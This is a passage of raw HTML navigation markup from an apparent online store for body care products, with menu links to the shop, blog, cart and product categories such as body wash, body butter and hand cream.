current_page_item menu-item-2991"><a href="../shop/" aria-current="page">Shop</a></li> <li id="menu-item-2989" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2989"><a href="../our-blog/">Our Blog</a></li> </ul> </nav> </div> <div class="site-header__cta d-flex align-items-center justify-content-end"> <a class="site-header__cta__icon site-header__cta__icon--account " href="../my-account/"></a> <a class="site-header__cta__icon site-header__cta__icon--search" data-dropdown="search"></a> <a class="site-header__cta__icon site-header__cta__icon--cart" href="../cart/"> <div class="header-cart-count">0</div> </a> <button class="hamburger hamburger--spin" type="button"> <span class="hamburger-box"> <span class="hamburger-inner"></span> </span> </button> </div> </div> </header> <div class="dropdown mega-drop "> <div class="dropdown__item dropdown__with-subs dropdown__item--shop"> <ul class="dropdown__item-list d-flex"> <li class="list-item list-item__parent col"> <a href="#" class="list-item__link">By Type</a> <div class="dropdown__sub"> <div class="container"> <ul> <li> <a href="../product-category/whats-new/">What's New</a> </li> <li> <a href="../product-category/bestsellers/">Bestsellers</a> </li> <li> <a href="../product-category/travel-minis/">Travel Minis</a> </li> <li> <a href="../product-category/collections/">Collections</a> </li> <li> <a href="../product-category/body-wash/">Body Wash</a> </li> <li> <a href="../product-category/body-butter/">Body Butter</a> </li> <li> <a href="../product-category/body-lotion/">Body Lotion</a> </li> <li> <a href="../product-category/body-scrub/">Body Scrub</a> </li> <li> <a href="../product-category/hand-cream/">Hand Cream</a> </li> <li> <a href="../product-category/foot-cream/">Foot Cream</a> </li> <li> <a href="../product-category/green-accessories/">Green Accessories</a> </li> </ul> </div> </div> </li> <li class="list-item list-item__parent col"> <a href="#" class="list-item__link">By fragrance</a> <div class="dropdown__sub dropdown__sub--scents"> <div class="container"> <ul> <li class="scent-dropdown__item" data-scent=""> <a href="